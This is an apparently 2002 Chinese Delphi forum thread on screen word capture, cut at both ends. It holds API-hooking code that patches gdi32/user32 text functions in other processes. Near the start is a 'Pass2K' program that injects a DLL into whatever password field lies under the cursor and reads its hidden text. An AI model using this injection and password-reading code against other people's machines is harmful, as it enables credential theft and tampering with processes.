hCursor:= LoadCursor(0,IDC_ARROW);
end;
RegisterClass(wClass);
Result:=CreateWindow(wClass.lpszClassName,name,WS_OVERLAPPEDWINDOW or WS_VISIBLE,x1,y1,x2,y2,0,0,hInst,nil);
end;
//---------主过程，类似于 C语言 中的 WinMain()
begin
handle:=CreateMain('exename',10,10,320,135);
hEditEmail:=CreateEdit('njhhack@263.net',60,4,174,20);
hLabelEmail:=CreateLabel('攻击目标:',4,8,54,24);
hFont:=CreateFont(-12,0,0,0,0,0,0,0,GB2312_CHARSET,OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,DEFAULT_PITCH or FF_DONTCARE,'宋体');
//改变字体
SendMessage(hEditEmail,WM_SETFONT,hFont,0);
SendMessage(hLabelEmail,WM_SETFONT,hFont,0);
while(GetMessage(Msg,Handle,0,0))do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end.
//--------------------------------------------------------------
Program Pass2K;
uses windows,messages,sysutils;
var
wClass: TWndClass; //窗口类变量
Msg: TMSG; //消息变量
hInst,Handle,hParent:thandle;
hLong:longint;
hPoint:TPOINT;
//
procedure run2;
var
hRemoteThread,hkernel32,dwRemoteProcessId,hRemoteProcess:integer;
cb,pcb:dword;
pfnStartAddr,pszLibFileName,pszLibFileRemotechar;
begin
cb:=100;
GetWindowThreadProcessId(hParent,@dwRemoteProcessId);
hRemoteProcess:=OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwRemoteProcessId);
getmem(pszLibFileName,cb);
strcopy(pszLibFileName,pchar(ExtractFilePath(ParamStr(0))+'/dll01.dll'));
pszLibFileRemote:=VirtualAllocEx(hRemoteProcess,NIL,cb,MEM_COMMIT,PAGE_READWRITE);
WriteProcessMemory(hRemoteProcess,pszLibFileRemote,pszLibFileName,cb,pcb);
Freemem(pszLibFileName);
hkernel32:=GetModuleHandle('Kernel32.dll');
pfnStartAddr:=GetProcAddress(hkernel32,'LoadLibraryA');
hRemoteThread:=CreateRemoteThread(hRemoteProcess,NIL,0,pfnStartAddr,pszLibFileRemote,0,pcb);
WaitForSingleObject(hRemoteThread,INFINITE);
TerminateThread(hRemoteThread,0);
end;
//这是主窗口的消息处理函数
function WindowProc(hWnd,Msg,wParam,lParam:integer):Longint; stdcall;
begin
Result:=DefWindowProc(hWnd,Msg,wParam,lParam);
case Msg of
WM_DESTROY:halt;
WM_TIMER:
begin
GetCursorPos(hPoint);
hParent:=WindowFromPoint(hPoint);
hLong:=GetWindowLong(hParent,GWL_STYLE);
if (hLong and ES_PASSWORD)=ES_PASSWORD then run2;
end;
end;
end;
//
begin
hInst:=GetModuleHandle(nil);
with wClass do
begin
Style:= CS_PARENTDC;
hIcon:= LoadIcon(hInst,'MAINICON');
lpfnWndProc:= @WindowProc;
hInstance:= hInst;
hbrBackground:= COLOR_BTNFACE+1;
lpszClassName:= 'MainHostClass';
hCursor:= LoadCursor(0,IDC_ARROW);
end;
RegisterClass(wClass);
handle:=CreateWindow(wClass.lpszClassName,'http://hotsky.363.net',WS_OVERLAPPEDWINDOW or WS_VISIBLE,80,10,220,85,0,0,hInst,nil);
settimer(handle,0,200,NIL);
while(GetMessage(Msg,Handle,0,0))do
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
end.
//-------------------------------------------------------------------------------
#include <windows.h>
BOOL WINAPI __declspec(dllexport) LibMain(HINSTANCE hDLLInst, DWORD fdwReason, LPVOID lpvReserved)
{
POINT hPoint;
HWND hParent;
char str[100];
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
GetCursorPos(&hPoint);
hParent=WindowFromPoint(hPoint);
GetWindowText(hParent,str,100);
MessageBox(0,str,"",0);
FreeLibrary(hDLLInst);
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
张无忌 (2002-05-26 16:34:00)
收藏先[8D][][]
datoncg (2002-05-26 21:27:00)
太累
base7 (2002-05-27 11:40:00)
to jingtao:
有没有能够看IE浏览器下的星号的代码？
虽然IE中其实是明码，但从提取信息和显示的角度将，编程难度会比windows的密码高得多
kthy (2002-05-27 13:37:00)
编译正确，但执行后，按Load按钮，出现“$EEEE, Can not register class CHILD 120”
kisse (2002-05-27 15:39:00)
哈哈不错词取出来了
tokey (2002-05-27 19:49:00)
wonderful
向各位高人们学习
tfnmao (2002-05-27 20:44:00)
收藏
tayancom (2002-05-28 13:20:00)
>编译正确，但执行后，按Load按钮，出现“$EEEE, Can not register class CHILD 120”
Can not register class CHILD 87
我也是出現這個錯誤..
繁體win98se , delphi6 sp2
huiyugan (2002-05-28 13:28:00)
请阅读第一贴以及源代码。
Ehom (2002-05-28 13:38:00)
API拦截的太少了(反编译某产品得来的)
TextOutA
TextOutW
ExtTextOutA
ExtTextOutW
DrawTextA
DrawTextW
DrawTextExA
DrawTextExW
TabbedTextOutA
TabbedTextOutW
PolyTextOutA
PolyTextOutW
GetTextExtentExPointA
GetTextExtentExPointW
GetTextExtentPoint32A
GetTextExtentPoint32W
GetTextExtentPointA
GetTextExtentPointW
huiyugan (2002-05-28 13:42:00)
同意，
请阅读第一贴
wen (2002-05-28 14:15:00)
多謝
徐永进 (2002-05-28 18:18:00)
阿甘!
呵呵,看到你给我的短信,不知道怎么搞一个短信给你!呵呵
你不是跳槽了吗?怎么样?给小日本干没有意思,不知道你现在怎么样阿?我现在的mail
jokeyxu@sina.com
huiyugan (2002-05-28 22:26:00)
对头我现在已经辞职了，就今天，
感觉精神爽多了。
嗯，收到mail的各位，有人给我介绍工作吗？
huiyugan (2002-05-29 13:40:00)
辞职了，
^_^，我今天在家休息了。
好放松哦。
kingkong (2002-06-02 8:19:00)
to:huiyugan
在Win98下运行报错，是怎么回事，请教.
zwhc (2002-06-02 8:40:00)
我估计你是个超级球迷，请不到假，索性辞职以看球
huiyugan (2002-06-02 16:48:00)
to zwhc:
你真才是超级球迷，这招都想得出来。
呵呵，实际上，我穷得连电视都买不起，
所以只好想上网在线看啊，不过猫实在是太慢了。
不过，昨天我发现一个好得看球的地方，商场啊，
啥好电视机都以放球赛作广告，还有空调啊。
to KinKong:
我说过了，我发的这个东东只运行在2000下。
哪天俺有时间再搞一个98的版本吧。
kingkong (2002-06-05 9:04:00)
to:huiyugan
在Win98下运行报错，是怎么回事，请教.
huiyugan (2002-06-05 19:11:00)
To KingKong:
您好，关于这个问题，请您阅读第一贴。
******** 此代码运行于Win2000下 **********
******** 需要稍作修改方可用于98。********
shellapi (2002-06-06 8:48:00)
甘，不知道为什么，我自己编译出来的dll， DisableMouseHook 这里就有问题，
程序一退出，我的ie什么的也跟着去了，还有你上次给我看的那插入进程的例子，
也一样。 我用xp+d6，我哥哥的情况和我也一样，不知道其他人会不会出现这样的情况，
但很奇怪，我用你编译出来的dll就不会。你用什么环境？
哦，忘了不该叫你甘的，不过你wife不会来这里吧，呵呵，还有听说你最近失业了，
同情 + 遗憾。
kingkong (2002-06-06 12:36:00)
to:huiyugan
"需要稍作修改方可用于98",我就是想知道修改什么地方,这太重要了,谢谢
kouchun (2002-06-06 14:44:00)
good
huiyugan (2002-06-06 16:27:00)
To ShellAPI:
是我的失误了。
我使用的用的Win2000 (no SP， build 2195) + Delphi5(Build 5.62).
我wife可能会来这里的，因为我的帐号密码都知道。
偶是失业了，明天去华为报到了，我估计我的薪水涨不了多少。
我原来日本最大的软件公司在宁的一家合资企业工作(Fujitsu)，但感觉公司的管理
等等有些问题，你有机会看看这一期的 程序员 杂志就知道了，我们公司的很多东西
和上面讲的差不多，不过据说么改革了，但我等不了。所以决定走了。
我觉得人应该多一些经历。虽然我会失去什么。华为也是一个大家有争议的公司。
不过我还是想去试试。我并不是毕业于计算机专业，我毕业的时候都不知道华为。
To KingKong:
既然这件事情对你很重要，我想我就有责任改成98下的了。
不过我现在时间很紧张，估计在2－3周内没有时间了，我去新的公司报道了。
你也知道，这个公司的工作时间很长的。
huiyugan (2002-07-07 10:55:00)
to kingkong and friends:
I am 很忙，现在还不在家里，所以这些东西都没法做。
抱歉。
并且我回到南京后仍然会很忙，所以估计要很长时间之后我才会改了。
tianshu700 (2002-07-07 17:11:00)
我喜欢
huiyugan (2002-08-24 18:35:00)
wangzheking (2002-11-20 17:39:00)
上述代碼是否可以完成從屏幕中抓取某特定字符串位置的功能？
humanc2d4 (2002-12-05 16:52:00)
也给我一份！
humanyixiaobing@163.com[[8D]
wuzjy0001 (2002-12-05 21:09:00)
up
hong2002 (2002-12-05 21:44:00)
也给我一份！
fong_waihong@163.net
ssss__0002 (2002-12-14 13:48:00)
up
ego (2002-12-14 13:53:00)
谢谢！
DDMike (2002-12-20 9:34:00)
up
原野飞侠 (2002-12-20 9:43:00)
下载地址进不去 http://delphi.mychangshu.com/dispdoc.asp?id=988
原野飞侠 (2003-01-05 14:24:00)
T
huiyugan (2003-01-10 21:42:00)
大家可以去www.playicq.com上去下载
原来的地址不可用
ego (2003-04-04 16:54:00)
huiyugan:
我试了一下,发现在窗口中取出的英文都是乱码,但中文就正常,这是为什么?
wfh7710 (2003-04-07 12:09:00)
我靠，各位我发现一本叫《Delphi下深入核心编程》，这本书提供了Win9x和Win2000/XP实现屏幕取词的方法和代码。
并且讲述了线程的同步，系统钩子的深入分析，读写物理磁盘数据，读取内存，内存共享，直接操作断口等。
satanmonkey (2003-04-07 13:57:00)
收藏！
好东东
wcy12td (2003-04-07 21:02:00)
to wfh7710
既然是好东西，那肯定应该拿出来让大家共享啊，
任豆豆 (2003-04-18 13:14:00)
Happy
ghg_qh (2003-05-04 23:36:00)
up
Olmany (2003-05-05 2:17:00)
up
lgxyy (2003-05-13 17:43:00)
up
wenjinshan (2003-05-23 14:24:00)
屏幕取词的完整解决方案见我的《delphi深入windows核心编程》一书，
解决了IE、win98下的高技术难题,支持windows98/2000/xp,
我的主页http://wenjinshan.yeah.net
wfzha (2003-05-23 22:25:00)
多谢
datoncg (2003-05-24 9:39:00)
wenjinshan？？？你在这儿做广告呀？没钱!?
xp2000 (2003-05-24 9:41:00)
多谢！！
jingtao (2003-05-24 17:13:00)
文人相轻，想不到程序员也如此。。。。。。
不遭人嫉是庸才，老温继续。
whbest (2003-07-30 14:26:00)
在一本好象是delphi核心核技术的书中有屏幕取词的原程序和说明。
mpsoft (2003-09-26 12:22:00)
这里也有代码下载
delphi源码下载站 http://www.8366.com
angui147 (2003-10-10 11:08:00)
up
hongxing_dl (2003-11-07 17:40:00)
一年前我就想做，但觉得太难了，所以……嘿嘿，现在好了，有现成的……
谢谢……值得学习
redleaf_wgm (2003-11-19 14:28:00)
OK!好东东！
555yhfw (2004-06-04 9:53:44)
请识问可不可以给我一个插入进程的例子，要能插入系统进程最好了，比如EXPLORER。EXE，谢谢，
xzhifei (2004-06-04 9:59:28)
楼上的，这是什么年代的贴子，你有没有搞错！！！
分类：系统相关 huiyugan (2002-05-25 13:34:00)
鉴于经常在网上看到有很多人研究屏幕取词，索要代码，我想把我写的一个屏幕取词的雏形
奉献给需要的人，也许这份代码在很多高手看来嗤之以鼻，但我这个人不怕献丑，希望能得
到高手的斧正。
在网上我们经常能够看到一些实现，但是并没有看到完全的delphi实现，经常是dll是其他
写的或者没有源代码。我们经常看到的都是被人说了1千遍的所谓实现机制。
声明：此代码是我慢慢试验一步一步写出来的，所以代码很乱，希望大家不要对此作过多批
评，此外其功能并没有完全实现，比如IE下的取词，取词的分析，我说过只是雏形。
关于重画，贴出来的代码中使用了显示一个窗口然后隐藏，其实可以用InvalidataRect,再
发重画消息。
代码只是在2000下能用，稍作改动可以用于98。
如转载请注明原作者。
如有讨论者可以在此论坛，也可以通过huiyugan@263.net甘化新联系。
代码大概有一千多行，我不知道能够正常贴上。
---------------------------------------------------
可以去 http://delphi.mychangshu.com/dispdoc.asp?id=988 下载代码
huiyugan (2002-05-25 13:39:00)
单元untTypes.pas
(*******************************************************************************
* Copy Right (C) Gan Huaxin 2001, 2002, huiyugan@263.net
* A Free Screen Words Capture Library
* Dedicated to my GirlFriend Sunny, Happy for ever
*
* Version Date Modification
* 0.1 2001-11-07~09 New, oly a test
* Can Get Word, Sometimes occure error
* 0.2 2002-05-14~16 Some Bugs Fixed,And
*******************************************************************************)
unit untTypes;
interface
uses
Windows;
type
TCommonData = record
bCapture : BOOL;
bInSpec : BOOL;
CallBackHandle:HWnd;
CallBackProcID : DWORD;
hWndFloat : HWnd; (*浮动窗口的句柄*)
hWndMouse : HWnd; (*鼠标所在窗口server的句柄*)
hWndCapture : HWnd; (*当前鼠标所在的窗口*)
MousePos : TPoint; (*当前鼠标屏幕坐标*)
MousePClient : TPoint; (*鼠标所在窗口的坐标*)
Rect : TRect;
case integer of
0 : (BufferA : array [0..1023] of Char);
1 : (BufferW : array [0..511] of WideChar);
end;
PCommonData = ^TCommonData;
TCode5 = packed record
siJmp : ShortInt;
dwAddr : DWORD;
end;
TThunkFunc = (tfTextOutA, tfTextOutW,
tfExtTextOutA, tfExtTextOutW,
tfDrawTextA, tfDrawTextW);
TThunkFuncName = packed record
strMod : string; // 系统模块名称
strSysProc : string; // 系统DLL中的名字
strThunkProc : string; // 你替换的函数的名字，必须在DLL的引出表中
end;
TThunkCode = packed record
codeBak : TCode5; // 系统函数的代码的前5个字节
codeThunk : TCode5; // 跳转到你的代码的5个字节
addr_sys : Pointer; // 系统函数的地址
addr_thunk : Pointer; // 替换函数的地址
bInstalled : boolean; // 安装了吗?
end;
const
G_DELAY_TIME = 100;
const
ThunkFuncNameArr : array[TThunkFunc] of TThunkFuncName = (
(strMod : 'gdi32.dll'; strSysProc : 'TextOutA'; strThunkProc : 'GanTextOutA'),
(strMod : 'gdi32.dll'; strSysProc : 'TextOutW'; strThunkProc : 'GanTextOutW'),
(strMod : 'gdi32.dll'; strSysProc : 'ExtTextOutA'; strThunkProc : 'GanExtTextOutA'),
(strMod : 'gdi32.dll'; strSysProc : 'ExtTextOutW'; strThunkProc : 'GanExtTextOutW'),
(strMod : 'user32.dll'; strSysProc : 'DrawTextA'; strThunkProc : 'GanDrawTextA'),
(strMod : 'user32.dll'; strSysProc : 'DrawTextW'; strThunkProc : 'GanDrawTextW')
);
implementation
end.
huiyugan (2002-05-25 13:41:00)
链接库 GFDict.dll的代码，GFDict.dpr
(*******************************************************************************
* Copy Right (C) Gan Huaxin 2001, 2002, huiyugan@263.net
* A Free Screen Words Capture Library
* Dedicated to my GirlFriend Sunny, Happy for ever
*
* Version Date Modification
* 0.1 2001-11-07~09 New, oly a test
* Can Get Word, Sometimes occure error
* 0.2 2002-05-14~16 Some Bugs Fixed,And
*******************************************************************************)
library GFDict;
// {$DEFINE MSG_NOT_SEND}
{$DEFINE WIN_NT}
{$IFNDEF WIN_NT}
{$DEFINE WIN_9X}
{$ENDIF}
// {$DEFINE DEBUG}
uses
SysUtils,
Classes,
windows,
messages,
untTypes;
const
STR_MSGNOTIFY
Char='WM_GANNOTIFY';var
HMapFile:THandle;
CommonData:^TCommonData;
idMsg : UINT;
hwndServer : HWnd;
var
hWndCover : THandle;
LastMousePos : TPoint;
LastTime : DWORD;
g_CriticalSection : TRTLCriticalSection;
m_CriticalSection : TRTLCriticalSection;
b_InCS : boolean;
var
hNextHookProc: HHook;
hProc : THandle;
bFirst : boolean;
bDllInstalled : boolean;
ThunkCodeArr : array[TThunkFunc] of TThunkCode;
{$IFDEF DEBUG}
procedure GanWarning;
begin
MessageBeep(0);
end;
{$ELSE}
procedure GanWarning;
begin
end;
{$ENDIF}
{$DEFINE _NOTIFY_}
{$IFDEF _NOTIFY_}
procedure GanNotify;
begin
MessageBeep(0);
end;
{$ELSE}
procedure GanNotify;
begin
end;
{$ENDIF}
// about Memory Map file support
procedure MapCommonData;
var FirstCall: Boolean;
begin
HMapFile:=OpenFileMapping(FILE_MAP_WRITE, False, 'GanGan_ThunkDict');
FirstCall:=(HMapFile = 0);
if FirstCall then
HMapFile:=CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,
0,SizeOf(TCommonData),
'GanGan_ThunkDict');
CommonData:= MapViewOfFile(HMapFile, FILE_MAP_WRITE, 0, 0, 0);
if FirstCall then FillChar(CommonData^, SizeOf(TCommonData), 0);
end;
// -----------------------------------------------------------------------------
procedure UnInstallThunkFunc(tfType : TThunkFunc);
var
nCount : DWORD;
begin
if not ThunkCodeArr[tfType].bInstalled then exit;
if (hProc=0) or (ThunkCodeArr[tfType].addr_sys=nil) then exit;
WriteProcessMemory(hProc,
ThunkCodeArr[tfType].addr_sys,
@(ThunkCodeArr[tfType].codeBak),
5,
nCount);
ThunkCodeArr[tfType].bInstalled := false;
end;
procedure InstallThunkFunc(tfType : TThunkFunc);
var
nCount : DWORD;
begin
if ThunkCodeArr[tfType].bInstalled then exit;
if (hProc=0) or (ThunkCodeArr[tfType].addr_sys=nil) then exit;
WriteProcessMemory(hProc,
ThunkCodeArr[tfType].addr_sys,
@(ThunkCodeArr[tfType].codeThunk),
5,
nCount);
ThunkCodeArr[tfType].bInstalled := True;
end;
procedure UnInstallGanFilter; forward;
{=================== TextOut ==============================================}
function GanTextOutA(DC: HDC; X, Y: Integer; Str: PAnsiChar; Count: Integer): BOOL; stdcall;
var
tm : TTextMetric;
rect : TRect;
size : TSize;
i, j : integer;
posDcOrg : TPoint;
posDcOff : TPoint;
begin
// EnterCriticalSection(g_CriticalSection);
result := FALSE;
UnInstallThunkFunc(tfTextOutA);
{$IFNDEF MSG_NOT_SEND}
try
if (CommonData<>nil) then begin
GetDcOrgEx(dc, posDcOrg); // Get The DC offset
posDcOff := Point(x,y);
LPtoDP(dc, posDcOff, 1);
Rect.Left := posDcOrg.x + posDcOff.x;
Rect.Top := posDcOrg.y + posDcOff.y;
if BOOL(GetTextAlign(dc) and TA_UPDATECP) then begin
GetCurrentPositionEx(dc, @posDcOff);
Inc(Rect.Left, posDcOff.x);
Inc(Rect.Top, posDcOff.y);
end;
GetTextExtentPointA(DC, Str, Count, size);
Rect.Right := Rect.Left + size.cx;
Rect.Bottom := Rect.Top + size.cy;
if PtInRect(rect, CommonData.MousePos) then begin // in total area!
if StrPos(Str, ' ')<>nil then begin
i := 0;
while (Str = Char(' ')) and (i<Count) do Inc(i);
j := i;
while (i<Count) do begin
if Str=Char(' ') then begin
Str := Char(0);
GetTextExtentPointA(DC, Str, i-1, size);
rect.Right := rect.Left + size.cx;
if PtInRect(rect, CommonData.MousePos) then begin
// SendMessage(CommonData.CallBackHandle, idMsg, i, 3);
StrCopy(CommonData.BufferA, PChar(@(Str[j])));
CommonData^.Rect := Rect;
SendMessage(CommonData^.CallBackHandle, idMsg, Integer(tfTextOutA), 0);
Str := Char(' ');
break;
end;
Str := Char(' ');
while (Str = Char(' ')) and (i < Count) do Inc(i);
if i=Count then break;
j := i;
Dec(i);
// break;
end;
inc(i);
end;
if (i=Count) then begin
StrCopy(CommonData.BufferA, PChar(@(Str[j])));
CommonData^.Rect := Rect;
SendMessage(CommonData^.CallBackHandle, idMsg, Integer(tfTextOutA), 0);
end;
end else
begin
StrCopy(CommonData.BufferA, Str);
CommonData^.Rect := Rect;
SendMessage(CommonData^.CallBackHandle, idMsg, Integer(tfTextOutA), 0);
end;
end;
end;
(*
StrCopy(CommonData.BufferA, Str);
CommonData^.Rect := Rect;
SendMessage(CommonData^.CallBackHandle, idMsg, Integer(tfTextOutA), 0);
*)
except
GanWarning;
StrCopy(CommonData.BufferA, 'Error in TextOutA');
SendMessage(CommonData^.CallBackHandle, idMsg, Integer(tfTextOutA), 0);
end;
{$ENDIF}
TextOutA(DC, X, Y, Str, Count);
InstallThunkFunc(tfTextOutA);
// UnInstallGanFilter;
// LeaveCriticalSection(g_CriticalSection);
end;
function GanTextOutW(DC: HDC; X, Y: Integer; Str: PWideChar; Count: Integer): BOOL; stdcall;
var
tm : TTextMetric;
rect : TRect;
size : TSize;
i, j : integer;
wChar : WideChar;
posDcOrg, posDcOff : TPoint;
begin
// EnterCriticalSection(g_CriticalSection);
result := FALSE;
UnInstallThunkFunc(tfTextOutW);
{$IFNDEF MSG_NOT_SEND}
try
if (CommonData<>nil) then begin
GetDcOrgEx(dc, posDcOrg);
posDcOff := Point(x,y);
LPtoDP(dc, posDcOff, 1);
Rect.Left := posDcOrg.x + posDcOff.x;
Rect.Top := posDcOrg.y + posDcOff.y;
if BOOL(GetTextAlign(dc) and TA_UPDATECP) then begin
GetCurrentPositionEx(dc, @posDcOff);
Inc(Rect.Left, posDcOff.x);
Inc(Rect.Top, posDcOff.y);
end;
GetTextExtentPointW(DC, Str, Count, size);
rect.Right := rect.Left + size.cx;
rect.Bottom := rect.Top + size.cy;
if PtInRect(rect, CommonData.MousePos) then begin
if StrPos(PChar(WideCharToString(Str)), ' ')<>nil then begin
i := 0;
while (Str = WideChar(' ')) and (i<Count) do Inc(i);
j := i;
while (i<Count) do begin
if Str=WideChar(' ') then begin
Str := WideChar(0);
GetTextExtentPoint32W(DC, Str, i-1, size);
rect.Right := rect.Left + size.cx;
if PtInRect(rect, CommonData.MousePos) then begin
// SendMessage(CommonData.CallBackHandle, idMsg, i, 3);
StrCopy(CommonData.BufferA,PChar(WideCharToString(@(Str[j]))));
CommonData^.Rect := Rect;
SendMessage(CommonData^.CallBackHandle, idMsg, Integer(tfTextOutW), 0);
Str := WideChar(' ');
break;
end;
Str := WideChar(' ');
while (Str = WideChar(' ')) and (i < Count) do Inc(i);
if i=Count then break;
j := i;
Dec(i);
// break;
end;
inc(i);
end;
if (i=Count) then begin
StrCopy(CommonData.BufferA, PChar(WideCharToString(@(Str[j]))));
CommonData^.Rect := Rect;
SendMessage(CommonData^.CallBackHandle, idMsg, Integer(tfTextOutW), 0);
end;
end else
begin
StrCopy(CommonData.BufferA,PChar(WideCharToString(Str)));
CommonData^.Rect := Rect;
SendMessage(CommonData^.CallBackHandle, idMsg, Integer(tfTextOutW), 0);
end;
end;
end;
except
GanWarning;
StrCopy(CommonData.BufferA, 'Error in TextOutW');
SendMessage(CommonData^.CallBackHandle, idMsg, Integer(tfTextOutW), 0);
end;
{$ENDIF}
result := TextOutW(DC, X, Y, Str, Count);
InstallThunkFunc(tfTextOutW);
// UnInstallGanFilter;
// LeaveCriticalSection(g_CriticalSection);
end;
{=================== ExtTextOut ============================================}
(*
这个函数在UltraEdit里会出错，加上异常处理就没有关系。
Bug Fixed 2002-05-13
*)
function GanExtTextOutA(DC: HDC; X, Y: Integer; Options: Longint;
Rect: PRect; Str: PAnsiChar; Count: Longint; Dx: PInteger): BOOL; stdcall;
var
posDcOrg : TPoint;
posDc : TPoint;
RectText : TRect;
size : TSize;
begin
// EnterCriticalSection(g_CriticalSection);
result := FALSE;
UnInstallThunkFunc(tfExtTextOutA);
{$IFNDEF MSG_NOT_SEND}
GetDcOrgEx(dc, posDcOrg);
posDc := Point(x,y);
LPtoDP(dc, posDc, 1);
RectText.Left := posDc.x + posDcOrg.x;
RectText.Top := posDc.y + posDcOrg.y;
if BOOL(GetTextAlign(dc) and TA_UPDATECP) then begin
GetCurrentPositionEx(dc, @posDc);
Inc(RectText.Left, posDc.x);
Inc(RectText.Top, posDc.y);
end;
GetTextExtentPointA(dc, Str, Count, size); {Get The Length and Height of str}
with RectText do begin
Right := Left + size.cx;
Bottom := Top + Size.cy;
end;
if (CommonData<>nil) {and false} and PtInRect(RectText, CommonData.MousePos) then begin
try
StrCopy(CommonData.BufferA, Str);
CommonData^.Rect := RectText;
except
GanWarning;
StrCopy(CommonData.BufferA, 'ERROR in ExtTextOutA');
end;
SendMessage(CommonData^.CallBackHandle, idMsg, Integer(tfExtTextOutA), 0);
end;
{$ENDIF}
result := ExtTextOutA(DC, X, Y, Options, Rect, Str, Count, Dx);
InstallThunkFunc(tfExtTextOutA);
// UnInstallGanFilter;
// LeaveCriticalSection(g_CriticalSection);
end;
function GanExtTextOutW(DC: HDC; X, Y: Integer; Options: Longint;
Rect: PRect; Str: PWideChar; Count: Longint; Dx: PInteger): BOOL; stdcall;
var
posDcOrg : TPoint;
posDc : TPoint;
RectText : TRect;
size : TSize;
label last;
begin
// EnterCriticalSection(g_CriticalSection);
result := FALSE;
UnInstallThunkFunc(tfExtTextOutW);
{$IFNDEF MSG_NOT_SEND}
if CommonData^.bInSpec then begin
(*if (Options and ETO_CLIPPED)=0 then goto last;*)
try
StrCopy(CommonData.BufferA,PChar(WideCharToString(Str)));
CommonData^.Rect := RectText;
except
GanWarning;
StrCopy(CommonData.BufferA, 'ERROR in ExtTextOutW');
end;
SendMessage(CommonData^.CallBackHandle, idMsg, Integer(tfExtTextOutW), 0);
goto last;
end;
GetDcOrgEx(dc, posDcOrg);
posDc.x := x;
posDc.y := y;
LPtoDP(dc, posDc, 1);
RectText.Left := posDc.x + posDcOrg.x;
RectText.Top := posDc.y + posDcOrg.y;
if BOOL(GetTextAlign(dc) and TA_UPDATECP) then begin
GetCurrentPositionEx(dc, @posDc);
Inc(RectText.Left, posDc.x);
Inc(RectText.Top, posDc.y);
end;
GetTextExtentPointW(dc, Str, Count, size); {Get The Length and Height of str}
with RectText do begin
Right := Left + size.cx;
Bottom := Top + Size.cy;
end;
if (CommonData<>nil) {and false} and PtInRect(RectText, CommonData.MousePos) then begin
{Bug Find 2002-05-13}
try
StrCopy(CommonData.BufferA,PChar(WideCharToString(Str)));
CommonData^.Rect := RectText;
except
GanWarning;
StrCopy(CommonData.BufferA, 'ERROR in ExtTextOutW');
end;
SendMessage(CommonData^.CallBackHandle, idMsg, Integer(tfExtTextOutW), 0);
end;
{$ENDIF}
last:
result := ExtTextOutW(DC, X, Y, Options, Rect, Str, Count, Dx);
InstallThunkFunc(tfExtTextOutW);
// UnInstallGanFilter;
// LeaveCriticalSection(g_CriticalSection);
end;
{=================== DrawText ==============================================}
function GanDrawTextA(hDC: HDC; lpString: PAnsiChar; nCount: Integer;
var lpRect: TRect; uFormat: UINT): Integer; stdcall;
var
RectSave : TRect;
posDcOrg : TPoint;
begin
// EnterCriticalSection(g_CriticalSection);
UnInstallThunkFunc(tfDrawTextA);
{$IFNDEF MSG_NOT_SEND}
if (CommonData<>nil) {and false} then begin
GetDcOrgEx(hDc, posDcOrg);
RectSave := lpRect;
OffsetRect(RectSave, posDcOrg.x, posDcOrg.y);
if PtInRect(RectSave, CommonData^.MousePos) then begin
try
StrCopy(CommonData.BufferA, lpString);
CommonData^.Rect := lpRect;
except
GanWarning;
end;
SendMessage(CommonData^.CallBackHandle, idMsg, Integer(tfDrawTextA), 0);
end;
end;
{$ENDIF}
result := DrawTextA(hDC, lpString, nCount, lpRect, uFormat);
InstallThunkFunc(tfDrawTextA);
// UnInstallGanFilter;
// LeaveCriticalSection(g_CriticalSection);
end;
function GanDrawTextW(hDC: HDC; lpString: PWideChar; nCount: Integer;
var lpRect: TRect; uFormat: UINT): Integer; stdcall;
var
RectSave : TRect;
posDcOrg : TPoint;
begin
// EnterCriticalSection(g_CriticalSection);
UnInstallThunkFunc(tfDrawTextW);
{$IFNDEF MSG_NOT_SEND}
if (CommonData<>nil) {and false} then begin
GetDcOrgEx(hDc, posDcOrg);
RectSave := lpRect;
OffsetRect(RectSave, posDcOrg.x, posDcOrg.y);
if PtInRect(RectSave, CommonData^.MousePos) then begin
try
StrCopy(CommonData.BufferA,PChar(WideCharToString(lpString)));
CommonData^.Rect := lpRect;
except
GanWarning;
end;
end;
SendMessage(CommonData^.CallBackHandle, idMsg, Integer(tfDrawTextW), 0);
end;
{$ENDIF}
result := DrawTextW(hDC, lpString, nCount, lpRect, uFormat);
InstallThunkFunc(tfDrawTextW);
// UnInstallGanFilter;
// LeaveCriticalSection(g_CriticalSection);
end;
procedure InstallGanFilter;
var
tfType : TThunkFunc;
begin
if bDllInstalled then exit;
for tfType := tfTextOutA to {tfExtTextOutW}tfDrawTextW do
// for tfType := LOW(TThunkFunc) to TThunkFunc(Ord(HIGH(TThunkFunc))-2) do
InstallThunkFunc(tfType);
bDllInstalled := true;
end;
procedure UnInstallGanFilter;
var
tfType : TThunkFunc;
begin
if not bDllInstalled then exit;
for tfType := tfTextOutA to {tfExtTextOutW}tfDrawTextW do
// for tfType := LOW(TThunkFunc) to TThunkFunc(Ord(HIGH(TThunkFunc))-2) do
UnInstallThunkFunc(tfType);
bDllInstalled := false;
end;
{================== =========================================================}
function WMCoverGetMinMaxInfo(
hWnd : THandle;
Msg : LongWord;
wParam : WPARAM;
lParam : LPARAM):BOOL;stdcall;
var
info : ^MINMAXINFO;
begin
result := BOOL(0);
info := Pointer(lParam);
info^.ptMaxSize.x := GetSystemMetrics(SM_CXFULLSCREEN);
info^.ptMaxSize.y := GetSystemMetrics(SM_CYFULLSCREEN);
info^.ptMinTrackSize.x := 0;
info^.ptMinTrackSize.y := 0;
info^.ptMaxTrackSize.x := GetSystemMetrics(SM_CXFULLSCREEN);
info^.ptMaxTrackSize.y := GetSystemMetrics(SM_CYFULLSCREEN);
end;
function CoverMainProc(
hWnd:LongWord;
Message:LongWord;
wParam:WPARAM;
lParam:LPARAM
):BOOL;stdcall;
begin
case Message of
WM_CLOSE :
begin
DestroyWindow(hWnd);
// PostQuitMessage(0);
end;
end;
result := BOOL(DefWindowProc(hWnd, Message, lParam, lParam));
end;
procedure GanGetWordTimer(wnd : HWND; msg, idTimer : Cardinal; dwTime : DWORD);far pascal;
begin
SendMessage(CommonData^.hWndMouse, idMsg, 1, 0);
if (CommonData.BufferA='') then begin
SendMessage(CommonData.CallBackHandle, idMsg, 0, 2);
end;
KillTimer(CommonData^.hWndFloat, 2);
end;
procedure WndCoverTimer(wnd : HWND; msg, idTimer : Cardinal; dwTime : DWORD);far pascal; //CallBack Type
var
mouseWnd : HWnd;
szClass : PChar;
strClass : string;
iLeft, iWidth : Integer;
rect : TRect;
begin
